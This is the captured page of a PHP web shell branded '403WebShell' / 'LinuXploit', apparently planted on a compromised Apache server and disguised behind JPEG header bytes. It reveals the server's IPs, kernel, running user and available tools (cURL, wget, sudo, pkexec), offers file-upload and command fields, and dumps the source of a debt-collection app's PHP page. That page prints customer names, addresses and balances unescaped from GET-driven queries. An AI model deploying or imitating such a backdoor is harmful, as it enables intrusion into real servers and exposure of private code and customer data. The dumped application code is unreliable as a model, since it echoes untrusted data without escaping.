����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 216.73.216.153
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/muebles/application/debtcollector/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/muebles/application/debtcollector/genericOLD.php
<?php
$titlepage="Phantom Pagos";
$idsmenu=2;

require_once ("../model/dbconn.php");
require_once ("../model/pos.php");


//por si no soporta idioma español el servidor
$diassemana = array("Domingo","Lunes","Martes","Miercoles","Jueves","Viernes","Sábado");
$meses = array("Enero","Febrero","Marzo","Abril","Mayo","Junio","Julio","Agosto","Septiembre","Octubre","Noviembre","Diciembre");


	$dayNumber=strftime("%d");
	$pay_period="S";
	$pay_period2="M";
    $currentDay=strtoupper($diassemana[date('w')]);

if($_GET){
	
	$fechahoy =  date("d-m-Y");
	$semana = date("W");
	
	$id_collector = $_GET['id_collector'];
	//BUSCAMOS LA TABLA PENDING RUTE LOS FOLIOS QUE ESTAN ASIGNADOS A ESTE COBRADOR 
	//se filtra por dia de cobro, periodicidad
	
	
	$pos = new pos();
	$pending = $pos->getPendingRouteByColector($id_collector);
	$pending_route = $pending[2];
	foreach($pending_route as $key=>$route)
	{
		$pending_route[$key]['mercancia']=$pos->getSaleDetailIdSale($route['sale_id'])[1];
	}
	
	//print_r($pending_route[2]['contract']);
}else{
	echo "Error de get";
}
?>

<!DOCTYPE html>

<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-EVSTQN3/azprG1Anm3QDgpJLIm9Nao0Yz1ztcQTwFspd3yD65VohhpuuCOmLASjC" crossorigin="anonymous">
    <script src="https://code.jquery.com/jquery-3.6.0.min.js" integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" crossorigin="anonymous"></script>
	  <!-- owl.carousel CSS
		============================================ -->
	 <link rel="stylesheet" href="../../dist/css/sweetalert.css">
	 <link rel="stylesheet" href="../../css/owl.carousel.css">
	 <link rel="stylesheet" href="../../css/owl.theme.css">
     <link rel="stylesheet" href="../../css/owl.transitions.css">
	   <!-- animate CSS
		============================================ -->
    <link rel="stylesheet" href="../../css/animate.css">
	 <!-- mCustomScrollbar CSS
		============================================ -->
    <link rel="stylesheet" href="../../css/scrollbar/jquery.mCustomScrollbar.min.css">
    <!-- metisMenu CSS
		============================================ -->
    <link rel="stylesheet" href="../../css/metisMenu/metisMenu.min.css">
    <link rel="stylesheet" href="../../css/metisMenu/metisMenu-vertical.css">
    <!-- normalize CSS
		============================================ -->
    <link rel="stylesheet" href="../../css/normalize.css">
	<!-- morrisjs CSS
		============================================ -->
    <link rel="stylesheet" href="../../css/morrisjs/morris.css">
	 <!-- style CSS
		============================================ 
		-->
		 <link rel="stylesheet" href="../../style.css">
   
    <!-- responsive CSS
		============================================ -->
    <link rel="stylesheet" href="../../css/responsive.css">
    <!-- modernizr JS
		============================================ -->
    <script src="../../js/vendor/modernizr-2.8.3.min.js"></script>
	 <!-- main CSS
		============================================ -->
    <link rel="stylesheet" href="../../css/main.css">
	
	<!-- nalika Icon CSS
		============================================ -->
    <link rel="stylesheet" href="../../css/nalika-icon.css">
	
	  <!-- Bootstrap CSS
		============================================ -->
    <link rel="stylesheet" href="../../css/font-awesome.min.css">
	
	  <!-- responsive CSS
		============================================ -->
    <link rel="stylesheet" href="../../css/responsive.css">
	
	<!-- Google Fonts
		============================================ -->
    <link href="https://fonts.googleapis.com/css?family=Roboto:100,300,400,700,900" rel="stylesheet">
	
	<title>Detalle Cliente</title>
</head>

<body>
   
<div class="panel-body panel-csm">
      <div class="row d-flex justify-content-center">
			<?php 
						foreach($pending_route as $key=>$route){?>
            <div class="col-18 <?php echo ($key)?'d-none':'';?>" id="venta-<?=$key+1?>">
                <h3>N° Contrato: <?=$route['contract']?></h3>
                <div class="card col-8">
                    <div class="card-body">
                        <div class="col-12 d-flex justify-content-between">
                            <b>Nombre:</b> <span><?=$route['name']?></span>
                        </div>
                        <hr>
						<div class="col-12 d-flex justify-content-between">
							<b>Dirección:</b> <span><?=$route['direccion']?></span>
						</div>
						<hr>
						<div class="col-12 d-flex justify-content-between">
							<b>Mercancia:</b> <span><?=$route['mercancia'][0]['item_name']?></span>
						</div>
						<hr>							
                        <div class="col-12 d-flex justify-content-between">
                            <b>Fecha de venta:</b> <span><?= date("d-m-Y")?></span>
                        </div>
                        <hr>
                        <div class="col-12 d-flex justify-content-between">
                            <b>Monto de venta:</b> <span>$ <?=number_format($route['total'],2);?></span>
                        </div>
                        <hr>
                        <div class="col-12 d-flex justify-content-between">
                            <b>Saldo:</b> <span>$ <?=number_format($route['balance'],2);?></span>
                        </div>
                        <hr>
                        <div class="col-12 d-flex justify-content-between">
                            <b>Abono:</b> <span>$ <?=number_format($route['pay_min'],2);?></span>
                        </div>
                        <hr>
                    </div>
                </div>
            </div>
				<?php }?>		
            <div class="mt-10">
                <nav aria-label="Page navigation example">
                    <ul class="pagination">
                        <li class="page-item"><a class="page-link">Anterior</a></li>
						<?php 
						for ($i=1; $i <= count($pending_route); $i++) { 
							 $contActual=$pending_route[$i-1]['contract'];
							echo "<li class=page-item ><a class=page-link val='".$contActual."' title='Contrato : ".$contActual."'>$i </a></li>";
							
						}
						?>
                        <li class="page-item"><a class="page-link">Siguiente</a></li>
                    </ul>
                </nav>
            </div>
        </div>
		
        <div class="product-cart-area mg-b-30">
            <div class="container-fluid">
                <div class="row">
                    <div class="col-lg-12 col-md-12 col-sm-12 col-xs-12">
					
                        <div class="product-cart-inner">
                            <div id="example-basic">
								
							<?php foreach($pending_route as $key=>$route){?>	
                               <h3> </h3>
                                <section>
                                   
                                    <div class="product-delivary">
                                        <div class="form-group">
                                            <label for="card-number" class="form-label">CONTRATO *</label>
                                            <input id="name-2" name="name" type="text" style="background:black" value="<?=$route['contract']?>"class="form-control" disabled>
                                        </div>
                                        <div class="form-group">
                                            <label for="card-number" class="form-label">NOMBRE*</label>
                                            <input id="surname-2" name="surname" type="text" style="background:black" value="<?=$route['name']?>" class="form-control">
                                        </div>
                                        
                                        <div class="form-group">
                                            <label for="address" class="form-label">DIRECCION *</label>
                                            <input id="address" name="address" type="text" style="background:black" value="<?=$route['direccion']?>" class="form-control">
                                        </div>
                                        <div class="form-group">
                                            <label for="city" class="form-label">MERCANCIA *</label>
                                            <input id="city" name="city" type="text" style="background:black" value="<?=$route['mercancia'][0]['item_name']?>" class="form-control">
                                        </div>
										<br>
										<hr>
                                        <label class="form-label" >
											<b>Fecha de venta:</b> <span><?= date("d-m-Y")?></span>
										</label>
										<hr>
										<label class="form-label" >
											<b>Monto de venta:</b> <span>$ <?=number_format($route['total'],2);?></span>
										</label>
										<hr>
										<label class="form-label" >
											<b>Saldo:</b> <span>$ <?=number_format($route['balance'],2);?></span>
										</label>
										<hr>
										<label class="form-label" >
											<b>Abono:</b> <span>$ <?=number_format($route['pay_min'],2);?></span>
										</label>
										
										</div>
                                </section>
                               <?php }?>		
                                
								
								
								
                            </div>
							
							 <div class="mt-10">
									<nav aria-label="Page navigation example">
										<ul class="pagination">
											<li class="page-item"><a class="page-link">Contratos</a></li>
											<?php 
											for ($i=1; $i <= count($pending_route); $i++) { 
												 $contActual=$pending_route[$i-1]['contract'];
												echo "<li class=page-item ><a class=page-link val='".$contActual."' title='Contrato : ".$contActual."'>$i </a></li>";
												
											}
											?>
											<li class="page-item"><a class="page-link">Finalizar</a></li>
										</ul>
								</nav>
								</div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
		
</div>	


<div class="footer-copyright-area">
            <div class="container-fluid">
                <div class="row">
                    <div class="col-lg-12">
                        <div class="footer-copy-right">
                            <p>Copyright © 2022 <a href="https://yusasoft1.com">Sistemas Yusa</a> All rights reserved.</p>
                        </div>
                    </div>
                </div>
            </div>
        </div>								
<script src="../../dist/js/sweetalert.min.js" type="text/javascript"></script>

<script src="../../js/notifications/notify.min.js"></script>

  <!-- wow JS
		============================================ -->
    <script src="../../js/wow.min.js"></script>
    <!-- price-slider JS
		============================================ -->
    <script src="../../js/jquery-price-slider.js"></script>
    <!-- meanmenu JS
		============================================ -->
    <script src="../../js/jquery.meanmenu.js"></script>
    <!-- sticky JS
		============================================ -->
    <script src="../../js/jquery.sticky.js"></script>
    <!-- scrollUp JS
		============================================ -->
    <script src="../../js/jquery.scrollUp.min.js"></script>
	 <!-- morrisjs JS
		============================================ -->
    <script src="../../js/sparkline/jquery.sparkline.min.js"></script>
    <script src="../../js/sparkline/jquery.charts-sparkline.js"></script>
    <!-- calendar JS
		============================================ -->
    <script src="../../js/calendar/moment.min.js"></script>
    <script src="../../js/calendar/fullcalendar.min.js"></script>
    <script src="../../js/calendar/fullcalendar-active.js"></script>

 <!-- wow JS
		============================================ -->
    <script src="../../js/wow.min.js"></script>
	
 <!-- owl.carousel JS
		============================================ -->
    <script src="../../js/owl.carousel.min.js"></script>	
	 <!-- tab JS
		============================================ -->
    <script src="../../js/tab.js"></script>
	
	 <!-- main JS
		============================================ -->
    <script src="../../js/main.js"></script>
	
	 <!-- wizard JS
		============================================ -->
    <script src="../../js/wizard/jquery.steps.js"></script>
    <script src="../../js/wizard/steps-active.js"></script>
    <!-- plugins JS
		============================================ -->
    <script src="../../js/plugins.js"></script>
    

</body>
<script>
		
    let current = 1;
    $('.page-link').click(function(event) {
		
	
	var one = 'Verifique Datos de  Cliente, Contrato# : ';
	var val=$(this).attr("val");
	
	var two = val;
	var joined = one + two;	
		
	 $.notify( joined, "info");
	

        event.preventDefault();
        var target = $(this).text();
        if (target == 'Anterior' && current > 1) {
            target = current - 1;
			
		  
		   
		   
        } else if (target == 'Siguiente' && current < 10) {
            target = current + 1;
			
        }
        $(`#venta-${current}`).fadeOut("slow").addClass('d-none');
        $(`#venta-${target}`).fadeIn("slow").removeClass('d-none');
        current = target;
    })
</script>

</html>

Youez - 2016 - github.com/yon3zu
LinuXploit